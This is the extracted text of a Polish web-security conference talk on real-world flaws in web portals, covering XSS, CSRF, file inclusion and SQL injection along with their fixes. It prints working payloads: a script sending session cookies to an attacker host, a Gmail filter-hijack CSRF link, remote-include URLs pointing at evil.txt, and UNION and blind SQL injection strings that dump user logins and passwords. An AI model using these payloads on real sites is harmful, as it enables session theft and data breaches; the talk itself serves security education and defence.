Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP

Podobne dokumenty
Drobne błędy w portalach WWW

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

The OWASP Foundation Session Management. Sławomir Rozbicki.

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych:

Aspekty bezpieczeństwa aplikacji internetowych

Projektowani Systemów Inf.

Bezpieczeństwo systemów komputerowych

TOPIT Załącznik nr 3 Programowanie aplikacji internetowych

Internetowe bazy danych

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Bezpieczeństwo aplikacji internetowych

6. Bezpieczeństwo przy współpracy z bazami danych

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

Dworakowski. Wojciech. Zagrożenia i metody ataku. Aplikacje internetowe -

Języki programowania wysokiego poziomu. PHP cz.4. Bazy danych

Agenda. Quo vadis, security? Artur Maj, Prevenity

SQL injection. Metody włamań do systemów komputerowych p. 1/13. Bogusław Kluge, Karina Łuksza, Ewa Makosa

Liczniki odwiedzin. Licznik odwiedzin na plikach

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

z testów penetracyjnych

Baza danych do przechowywania użytkowników

Ajax a bezpieczeństwo aplikacji webowych. Jakub Wierzgała

Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi

Program szkolenia: Bezpieczny kod - podstawy

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Wykład 5: PHP: praca z bazą danych MySQL

Aplikacje WWW. Wykład 13. Zagrożenia bezpieczeństwa aplikacji WWW. wykład prowadzi: Maciej Zakrzewicz. Zagrożenia bezpieczeństwa

Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór

Zarządzanie sesją w aplikacjach Internetowych. Kraków, Paweł Goleń

Geek's Night / /dev/urandom. gynvael.coldwind//vx, Hispasec

Kurs rozszerzony języka Python

Systemy internetowe. Wykład 3 PHP. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Programowanie internetowe

Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji.

Bezpieczeostwo aplikacyjne

Należy ściągnąć oprogramowanie Apache na platformę

Obsługa incydentów bezpieczeństwa: część I, z punktu widzenia menadżera. OWASP The OWASP Foundation

Aplikacje internetowe

DOKUMENTACJA TECHNICZNA SMS API MT

Zmienne i stałe w PHP

ATAKI TYPU CROSS-SITE SCRIPTING

SMS Kod Automatyczny

I.Wojnicki, PHP. PHP PHP Hypertext Preprocessor. Igor Wojnicki. Ktedra Informatyki Stosowanej Akademia Górniczo-Hutnicza w Krakowie.

Narzędzia OWASP dla developerów OWASP ESAPI & AppSensor OWASP The OWASP Foundation

Internetowe bazy danych

Bazy danych i usługi sieciowe

I.Wojnicki, Tech.Inter.

PHP: bazy danych, SQL, AJAX i JSON

Testy penetracyjne webaplikacji.

Aplikacje WWW - laboratorium

PLAN WYNIKOWY PROGRAMOWANIE APLIKACJI INTERNETOWYCH. KL IV TI 6 godziny tygodniowo (6x15 tygodni =90 godzin ),

Techniki komputerowe w robotyce

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Dokumentacja smsapi wersja 1.4

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

AJAX. Wykonał: Marcin Ziółkowski, AGH Kraków, AiR rok 5.

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF

Sesje, ciasteczka, wyjątki. Ciasteczka w PHP. Zastosowanie cookies. Sprawdzanie obecności ciasteczka

Praca Magisterska "System zdalnego składania ofert kupna i sprzedaży za pośrednictwem Internetu" AUTOR PROMOTOR

Zabawy z PHP em. Błażej Miga, Jaroslaw Sajko, PCSS blazej.miga@man.poznan.pl jaroslaw.sajko@man.poznan.pl

Dokumentacja serwera REST do obsługi rezerwacji w systemie SaNAtoRIUm.pro

OWASP i Top 10 Sposób tworzenia Top 10 Czym jest a czym NIE jest Top 10? Zmiany w wersji 2013 Omówienie nowych podatności na liście Podsumowanie

Wojciech Dworakowski. Zabezpieczanie aplikacji. Firewalle aplikacyjne - internetowych

Dokumentacja systemu NTP rekrut. Autor: Sławomir Miller

Systemy internetowe Wykład 3 PHP

I. Informacje ogólne. Jednym z takich systemów jest Mambo.

Bezpieczeństwo aplikacji webowych

INSTYTUT IMMUNOLOGII I TERAPII DOŚWIADCZALNEJ im. Ludwika Hirszfelda Polska Akademia Nauk

Wybrane problemy bezpieczeństwa w urządzeniach sieciowych SEConference Michał Sajdak, Securitum sekurak.pl

Instrukcja obsługi/instalacji platformy Krok w Przedsiębiorczość Administrator platformy

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

Client-side Hacking - wprowadzenie w tematykę ataków na klienta. Radosław Wal radoslaw.wal@clico.pl

0.1 Logowanie do serwisu

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja

Gatesms.eu Mobilne Rozwiązania dla biznesu

Wybrane działy Informatyki Stosowanej

Wybrane ataki na urządzenia sieciowe Secure Michał Sajdak, Securitum sekurak.pl

Sesje i logowanie. 1. Wprowadzenie

Specyfikacja instalacji usługi SMS Premium w Przelewy24.pl

Obrona przed SQL-injection w aplikacjach Java/JEE

11. Autoryzacja użytkowników

Dokumentacja interfejsu HTTPD. Platforma BSMS.PL Instrukcja podłączenia po przez http

INSTRUKCJA INSTALACJI I KONFIGURACJI APLIKACJI WEBSOFT CEIDG MONITOR

INSTRUKCJA INSTALACJI I KONFIGURACJI APLIKACJI WEBSOFT SITE ANALYZER 2.7.1

SECURE /10/2006. Błażej Miga, PCSS Jaroslaw Sajko, PCSS

Sprawozdanie nr 4. Ewa Wojtanowska

T-SQL dla każdego / Alison Balter. Gliwice, cop Spis treści. O autorce 11. Dedykacja 12. Podziękowania 12. Wstęp 15

Transkrypt:

Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP

Czemu WWW jest ważne? M

WWW jest wszędzie M

Wydajemy pieniądze Zarządzamy finansami Zarabiamy pieniądze Marnujemy czas M

Ruch w Internecie M http://www.ellacoya.com/news/pdf/2007/nxtcommellacoyamediaalert.pdf

2007: ilośd ruchu WWW przekroczyła ilośd ruchu P2P M

WWW pokonało pr0n! YAY!* M * nie poparte żadnymi badaniami

Typy ruchu HTTP M http://www.ellacoya.com/news/pdf/2007/nxtcommellacoyamediaalert.pdf

Wzrost ilości hostów w sieci Ponad 60 mln aktywnych (netcraft) M

Bezpieczeostwo WWW w skrócie M

Odkryte podatności WWW przewyższają ilościowo wszystkie pozostałe (Sans) M

Czemu? Bardzo popularne medium ($) Niedojrzałośd technologii Błędy logiczne Chałupnicze rozwiązania M

Amerykaoskie ofiary phishingu 3,6 miliona osób, które straciły łącznie 3,2 miliarda dolarów (Gartner, http://www.heise-online.pl/news/item/2356/) M

Standardowa architektura aplikacji WWW Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M

Źle! Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalnośd (logika biznesowa) Serwer Baz Danych M

Firewall vs. właściwe projektowanie, kodowanie i SDLC Internet Warstwa WWW Firewall Aplikacyjny (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalnośd (logika biznesowa) Serwer Baz Danych M

Optymalnie Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Nowa funkcjonalnośd Serwer Baz Danych M

Najczęstsze ataki PHP Remote File Include SQL Injection Cross-Site Scripting Cross-site Request Forgery (SANS Top-20 2007 Security Risks, 2007 Annual Update) M

Wyciek informacji B

Wesoła historyjka ;-) B

Więcej obrazków hmm B

B

:-D B

Kopiujemy B

Łączymy się B

PWND ;-) B

Wniosek? Bezpieczeostwo wymaga specyficznego sposobu myślenia (Paranoi? ;-) B

Ograniczenie dostępu po stronie klienta Możliwośd obejścia interfejsu W kontraście z bankomatem Nieskuteczne! B

Ograniczenie dostępu po stronie klienta RSS z identyfikacją ID klienta serwer.tld/rss/100_rss.xml serwer.tld/rss/101_rss.xml serwer.tld/rss/102_rss.xml Czytanie cudzych wiadomości serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82 B

Kontrola dostępu po stronie serwera B

Cross-Site Scripting (XSS) B

Reflective XSS Serwer http://serwer/index.php?id=<script> </script> GET /index.php? id=<script> </script> HTTP/1.1 Aplikacja WWW <script> </script> Użytkownik exec( ) Intruz Dane dostępne w kontekście użytkownika B

Przykładowy kod XSS document.write( <img src= http://intruz.tld/cookiemonster.gif? +escape(document.cookie) + > ); B

Zmiana treści za pomocą XSS M

Zmiana treści za pomocą XSS B

Rebranding za pomocą XSS http://strona.tld/topics/%3cscript%3eeval(string.fromcharcode(100,111,99,117, 109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40, 34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10 9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1 11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1 05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E document.getelementbyid("logo").innerhtml= "<img src='http://www.str.tld/images/smiley.gif'>" M

Tak to wygląda w kodzie strony... <div id="maincontent"> <h2>results for: <span style="color: #f00;"><script>eval(string.fromcharcode(100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1 00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5 8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1 12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4 6,103,105,102,39,62,34));</script></span></h2> </div>... M

Tak wygląda zmieniany kod <div id="logo"> <div class="logolink"> <a href="http://strona.tld/">strona.tld</a> </div>... </div> M

Kod w przeglądarce M

Efekt działania M

A wygląda to tak M

Zmiana treści za pomocą XSS Nie jest permanentna Lepszy kod łatwiej (sic!) Pomysł: Tak samo wyglądający formularz kierujący dane w inne miejsce phishing B

Uwierzytelnianie przy pomocy cookies POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik Serwer GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user B

Wykorzystanie przejętego cookie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik Serwer GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user Intruz B

Kradzież ciastka zawierającego ID sesji http://www.serwer.tld/index.php?p=com ments&comments_login=smietanka%3csc ript%3edocument.write(document.cookie) %3C/script%3E PHPSESSID=gji9h519llgbgbnaqg7si0q1l0; utma=258102041.949163972.1198624259.1198624259.1198624259.1; utmb=258102041; utmc=258102041; utmz=258102041.1198624259.1.1.utmccn=(direct) utmcsr=(direct) utmc md=(none) M

M

M

M

Jak wysład sobie ciastko? XMLHttpRequest Problem pomiędzy domenami Link img, iframe, location.href, etc Przykład: <img src="http://serwer.tld/cookiemonster.gif?phpsessid%3dgji9h519llgbgbnaqg7 si0q1l0%3b%20 utma%3d258102041.949163972.1198624259.1198624259. 1198624259.1%3B%20 utmb%3d258102041%3b%20 utmc%3d25810204 1%3B%20 utmz%3d258102041.1198624259.1.1.utmccn%3d%28direct%29 %7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29"> B

Co na to poradzid? Powiązad ID sesji z IP Żądad powtórnego uwierzytelnienia Kontrolowad wprowadzane dane!!! - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (...//../), UTF-7 B

http://serwer.tld/topics/<img src=http://www.serw.tld/images/smiley.gif> / M

http://serwer.tld/topics/<img src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif> %2f / M

http://serwer.tld/topics/<img src=http:%252f%252fwww.serwer.tld%252fimages%252fsm iley.gif> M %252f %2f /

B

Stored XSS Serwer Aplikacja WWW POST /register.php HTTP/1.1 login=<script> </script>&password=asd <script> </script> GET /index.php HTTP/1.1 <script> </script> Użytkownik exec( ) Intruz Baza danych Dane dostępne w kontekście użytkownika B

Co można zrobid? Permanentna zmiana treści Łatwa kradzież ID sesji CSRF XSS Proxy Automatyczne robaki - myspace, Orkut, Nduja, Borys Łatwe ;] w serwisach pozwalających publikowad własną treśd: - aukcyjne, blogi, fora, etc B

Kradzież ID sesji B

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS Intruz User_1 User_2 B

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> Zapisuje XSS w swoim profilu exec( ) Intruz User_1 XSS User_2 B

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> User_2 Zapisuje XSS w swoim profilu exec( ) Intruz User_1 XSS GET /user1/ HTTP/1.1 <script> </script> User_2 XSS Zapisuje XSS w swoim profilu exec( ) B

Nduja A Cross Domain/Webmail XSS Worm Intruz E-mail E-mail E-mail E-mail Serwer WWW Serwer WWW Serwer WWW Serwer WWW WebMail WebMail WebMail WebMail Libero.it Tiscali.it Lycos.it Excite.com B

Co na to poradzid? Powiązad ID sesji z IP Żądad powtórnego uwierzytelnienia Kontrolowad wprowadzane dane - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (...//../), UTF-7 Filtrowad dane zapisywane do bazy i odczytywane z bazy B

Cross-Site Request Forgery (CSRF) B

CSRF Serwer http://serwer/delete.php?id=34 Aplikacja WWW GET /delete.php?id=34 HTTP/1.1 Cookie: user_id=734223s8uod42 id = 34; delete(id); Wpis usunięty Użytkownik Intruz M

<img src= http://naszaklasa.pl/invite/1?i=1 > (/var/log/apache/cba_ipn_zus_access.log) B

Przejęcie wiadomości z Gmail (CSRF) http://www.gnucitizen.org/util/csrf?_method=post&_enctype=multip art/form-data&_action=https%3a//mail.google.com/mail/h/ wt1jmuj4ddv/%3fv%3dprf&cf2_emc=true&cf2_email=evilinbox@maili nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta ch=true&tfi&s=z&irf=on&nvp_bu_cftb=create%20filter Konto na Gmailu każdy z nas ma. Mam i ja! (Kradzież domeny: www.davidairey.co.uk) B

Co na to poradzid? POST zamiast GET obejście: iframe, javascript Referer problemy: proxy, przeglądarki, zmiana nagłówka Generowane tymczasowego dodatkowego ID Powiązanie ID użytkownika z długim losowym ciągiem Trzymane po stronie serwera Wymaganie ponownej autoryzacji przy kluczowych operacjach Brak błędów XSS (XmlHttpRequest)!!! B

PHP File Include B

Local File Include podgląd plików (konfiguracyjnych!) wykonanie kodu, jeśli jest możliwośd wgrania pliku na serwer dostęp do kodu źródłowego B <?php if(file_exists("includes/$page.inc")) { include "includes/$page.inc"; } else { echo "W budowie!<br>"; } http://xxxxx.art.pl/p.php?page=../../../../../../../../../home/user1/publi c_html/.htpasswd%00

Remote File Include wykonanie kodu <?php include($mosconfig_absolute_path."/administrator/components /com_hashcash/config.hashcash.php"); require_once ($mosconfig_absolute_path.'/components/com_hashcash/cryptos trategy.php'); http://strona.tld/components/com_hashcash/server.php?mosconfig_a bsolute_path=http://zuozuozuo.pl/evil.txt? access_log:62.48.xxx.xx - - [06/Jan/2008:07:11:06 +0100] "GET //install/index.php?g_path=http://www.js2023.pl//modules/pnphpbb2/images/.bash/pr.txt? HTTP/1.1" 404 1021 "-" "libwww-perl/5.803 B access_log:168.212.xxx.xxx - - [06/Jan/2008:22:57:53 +0100] "GET /files/strawberry/plugins/wacko/highlight/html.php?text=http://www.nakedarena.com/id.txt? HTTP/1.1" 404 1021 "-" "libwww-perl/5.76"

Co z tym zrobid? konfiguracja po stronie php.ini allow_url_fopen = Off allow_url_include = Off register_global = Off safe_mode = On register_globals = Off safe_mode_gid = Off display_errors = Off log_errors = On error_log = /var/log/httpd/php_error.log disable_functions = system, shell_exec, exec, passthru uważad na specjalne znaki (null byte, etc) filtrowad, filtrowad i jeszcze raz filtrowad (../, UTF, itd.) inne: mod_security, Suhosin PHP B

SQL Injection M

SQL Injection Serwer Aplikacja WWW GET /login.php HTTP/1.1 login=admin&password=1 or 1= 1 select * from users where login= admin and pass= 1 or 1= 1 Intruz Welcome admin M Baza danych $dane = db_exec( select from users where login= $login and pass= $pass ) if ($dane.count) { print ( Welcome $login ) } else { print ( Bye ); exit (0); }

POST http://www.serwer.tld/index.php?p=priv HTTP/1.1 priv_search=2e332424&cat='"1&w_city="'asd&submit=szukaj M

priv_search=&cat=1&w_city=ca%b3a+polska' and 1=1#&submit=Szukaj M

priv_search=&cat=1&w_city=ca%b3a+polska' and 1=0#&submit=Szukaj M

priv_search=&cat=1&w_city=ca%b3a+polska' union all select @@version#&submit=szukaj The used SELECT statements have a different number of columns M

priv_search=&cat=1&w_city=ca%b3a+polska' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi t=szukaj M

priv_search=&cat=1&w_city=ca%b3a+polska' union all select 1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi t=szukaj M

priv_search=&cat=1&w_city=ca%b3a+polska' union all select 1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_ NAME,14,15,16,17,18 from information_schema.columns where TABLE_SCHEMA!= 'mysql' and TABLE_SCHEMA!= 'information_schema'#&submit=szukaj M

priv_search=&cat=1&w_city=ca%b3a+polska' union all select 1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from users#&submit=szukaj M

Przy okazji wychodzą na jaw TAJEMNICE ;-) M

Bonusowe odkrycie: 1836 botów :-) M

Blind SQL Injection B Formularz rejestracyjny:

Blind SQL Injection 1' and 1='0 OK. 1' or 1='1 Taki email już jest zarejestrowany w serwisie. Musisz podad inny 1' union all SELECT IF( user() like '%sig%', BENCHMARK(3000000,MD5( 'x' )),NULL)# opóźnienie user() == sig@... 1' union all SELECT IF( user() like '%asd%', BENCHMARK(3000000,MD5( 'x' )),NULL)# brak opóźnienia B

B

B

Blind SQL Injection /zgoda.php?id=155765%20and%20(select%2 0ascii(substring((select%20login%20from%20a dmini%20limit%201,1),1,1)))%3d97 id=155765 AND (select ascii(substring((select login from admini limit LINIA,1), MIEJSCE, 1))) =ZNAK_ASCII B

Wyniki blind SQL Injection Opóźnienie Treśd Komunikat błędu B

Co na to poradzid? Filtrowad wprowadzane dane - Białe listy znaków - Spójnośd (IDS, Firewall, aplikacja, baza danych) Nie ufad filtrom po stronie użytkownika (listy wyboru, JavaScript) M

Podsumowanie M

Z bezpieczeostwem WWW jest źle Błędy są wszędzie* wokół nas *no prawie wszędzie ;-) M

Co zrobid? Koniecznie filtrowad wprowadzane i wyprowadzane dane Firewalle aplikacyjne IDSy Białe listy! M

Byd świadomym potencjalnych zagrożeo i problemów Słuchad i pytad Korzystad z pomocy specjalistów Bilansowad koszty z zyskami każdy feedback jest dobry M

Używad sprawdzonych rozwiązao Odpowiedzią na tradycyjne błędy jest kod zarządzany, automatyczne typowanie, GC, itp. Odpowiedzią na błędy w kodowaniu WWW są frameworki Pozwalają na zachowanie pewnej jakości kodu Nie jesteśmy w 100% bezpieczni» Jeszcze nie są wystarczająco dojrzałe» Nie wszyscy wiedzą jak z nich korzystad» Bywają rozszerzane "na głupa"» Efekt skali powoduje, że błędy propagują się szeroko M

Hardening Poprawna konfiguracja jest niezwykle istotna Jedna dyrektywa w php.ini może zablokowad wykorzystanie błędu w aplikacji PHP: http://www.sans.org/top20/#s1 M

Myślenie Nikt ani nic nie ustrzeże nas przed skutkami błędów logicznych M

michal@sobiegraj.com b.lacki@logicaltrust.net Pytania?